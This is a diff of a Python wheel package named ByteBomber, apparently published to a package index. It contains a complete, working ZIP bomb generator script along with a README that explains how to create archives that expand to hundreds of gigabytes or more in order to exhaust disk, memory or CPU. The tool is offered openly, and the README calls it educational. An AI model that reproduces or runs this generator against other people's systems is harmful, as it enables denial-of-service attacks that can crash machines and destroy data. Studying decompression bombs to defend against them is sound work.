ByteBomber 1.1.0__py3-none-any.whl

ByteBomber/__main__.py

@@ -0,0 +1,61 @@
+import zipfile
+import os
+import sys
+
+UNITS = {
+    "B": 1,
+    "KB": 1 << 10,
+    "MB": 1 << 20,
+    "GB": 1 << 30,
+    "TB": 1 << 40,
+    "PB": 1 << 50,
+    "EB": 1 << 60,
+    "ZB": 1 << 70,
+    "YB": 1 << 80,
+}
+
+def progress_bar(iteration, total, bar_length=50):
+    progress = (iteration / total)
+    percentage = int(progress * 100)
+    arrow = '#' * int(round(progress * bar_length))
+    spaces = ' ' * (bar_length - len(arrow))
+    sys.stdout.write(f"\r[{arrow}{spaces}] {percentage}%")
+    sys.stdout.flush()
+
+def get_bytes(amount_str):
+    try:
+        value, unit = amount_str.strip().upper().split()
+        return int(float(value) * UNITS[unit])
+    except:
+        raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
+
+def main():
+    target_input = input("Bomb decompressed size: ") or "500 GB"
+    payload_input = input("Payload file size: ") or "1 MB"
+    zip_name = input("Output zip name: ") or "bomb.zip"
+    folder_name = input("Bomb directory name: ") or "bomb-dir"
+
+    PAYLOAD_NAME = "payload.txt"
+    DECOMPRESSED_TOTAL = get_bytes(target_input)
+    PAYLOAD_SIZE = get_bytes(payload_input)
+    REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
+    print(f"\n  Creating ZIP bomb:\n")
+    print(f"    Payload size:         {PAYLOAD_SIZE} bytes")
+    print(f"    Total uncompressed:   {DECOMPRESSED_TOTAL} bytes")
+    print(f"    File count:           {REPEATS}")
+    print(f"    Output:               {zip_name}\n")
+
+    with open(PAYLOAD_NAME, "wb") as f:
+        f.write(b'\0' * PAYLOAD_SIZE)
+
+    with zipfile.ZipFile(zip_name, "w", compression=zipfile.ZIP_DEFLATED) as zf:
+        for i in range(REPEATS):
+            arcname = f"{folder_name}/{i}.txt"
+            zf.write(PAYLOAD_NAME, arcname)
+            progress_bar(i + 1, REPEATS)
+
+    os.remove(PAYLOAD_NAME)
+    print(f"\n\nCreated zip bomb: {zip_name}")
+
+if __name__ == "__main__":
+    main()

bytebomber-1.1.0.dist-info/METADATA

@@ -0,0 +1,104 @@
+Metadata-Version: 2.4
+Name: ByteBomber
+Version: 1.1.0
+Summary: ZIP bomb generator
+Author-email: Andrew <drewhinckley2009@example.com>
+License: MIT
+Project-URL: Homepage, https://github.com/luckalgorithm/ByteBomber
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Topic :: Security
+Classifier: Topic :: Utilities
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# ByteBomber
+
+ByteBomber is a tool for createing a ZIP bombs. A ZIP bomb is a highly compressed ZIP file that massively expands in size when extracted. ByteBomber is designed to demonstrate how compression algorithms (specifically ZIP's DEFLATE) can be used to exhaust system resources (disk space, RAM, or CPU), potentially crashing systems or causing instability.
+
+## What ByteBomber Does
+
+1. Takes input for how big the uncompressed bomb should be.
+2. Takes input for how large each individual payload file should be.
+3. Generates a file filled with null bytes (`\x00`) of that size.
+4. Creates a ZIP archive containing that file duplicated many times.
+5. Applies DEFLATE compression to exploit redundancy.
+
+Since every payload file is identical and filled with zeroes, compression is extremely effective—producing a small ZIP file that expands drastically when extracted.
+
+## CLI
+
+When you run the script, you'll be prompted for the following:
+
+`Bomb decompressed size:`
+
+- This is the total uncompressed size you want the final ZIP bomb to expand to.
+- Default is 500 GB.
+
+`Payload file size:`
+
+- Size of the individual file inside the ZIP archive.
+- The smaller this is, the more files the ZIP bomb will contain.
+- Default is 1 MB.
+
+`Output zip name:`
+
+- Name of the final ZIP file to be created.
+- Default is `bomb.zip`.
+
+`Bomb directory name:`
+
+- Directory where files are extracted when the bomb is decompressed.
+- Default is `bomb-dir`.
+
+Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`).
+
+| Supported Unit | Size | Size In Bytes |
+|----------------|----------|----------------
+| B (byte) | 1 B | 1
+| KB (Kilobyte) | 1,024 B | 1,024 
+| MB (Megabyte) | 1,024 KB | 1,048,576
+| GB (Gigabyte) | 1,024 MB | 1,073,741,824
+| TB (Terabyte) | 1,024 GB | 1,099,511,627,776
+| PB (Petabyte) | 1,024 TB | 1,125,899,906,842,624
+| EB (Exabyte) | 1,024 PB | 1,152,921,504,606,846,976
+| ZB (Zettabyte) | 1,024 EB | 1,180,591,620,717,411,303,424
+| YB (Yottabyte) | 1,024 ZB | 1,208,925,819,614,629,174,706,176
+
+> [!NOTE]
+> For most purposes, GB or TB ranges are more than sufficient to stress a system. PB, EB, ZB, and YB represent astronomical data sizes far beyond what typical systems can handle.
+
+Once input is provided, a summary of the configuration is shown:
+
+```
+Creating ZIP bomb:
+
+    Payload size:         1048576 bytes
+    Total uncompressed:   536870912000 bytes
+    File count:           512000
+    Output:               bomb.zip
+```
+
+- Payload size: Size of the file being copied inside the ZIP.
+- Total uncompressed: Target final size when the ZIP is extracted.
+- File count: How many copies of the payload file are added.
+- Output: Filename of the ZIP bomb.
+
+It will then show live progress as files are added to the ZIP.
+
+## What's in the ZIP
+
+Inside the ZIP there are tens of thousands to millions of identical files like:
+
+- 0.txt
+- 1.txt
+- 2.txt
+- ...
+
+All filled with null bytes. The compression algorithm detects repetition and compresses it heavily.
+
+> [!WARNING]
+> **ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**

bytebomber-1.1.0.dist-info/RECORD

@@ -0,0 +1,8 @@
+ByteBomber/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+ByteBomber/__main__.py,sha256=tgsTZMMRAXE4lu17CIbLXBPT1Z2UwodqdHXz6vBVSzg,1947
+bytebomber-1.1.0.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
+bytebomber-1.1.0.dist-info/METADATA,sha256=NVaIpxTNp1G9JbNHr-FXKG_-oPRs6CySinlRjgR4x1M,3718
+bytebomber-1.1.0.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
+bytebomber-1.1.0.dist-info/entry_points.txt,sha256=ujmBvN_aEG4BSrmzKlpsC9XNNB7goQ9m_ddUvKM9vnY,56
+bytebomber-1.1.0.dist-info/top_level.txt,sha256=ywMNPoOP7MAkBd6arls5lyegONphfyki7xlLh90_ytI,11
+bytebomber-1.1.0.dist-info/RECORD,,

bytebomber-1.1.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (79.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

bytebomber-1.1.0.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+bytebomber = bytebomber.__main__:main

bytebomber-1.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 luckalgorithm
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

bytebomber-1.1.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+ByteBomber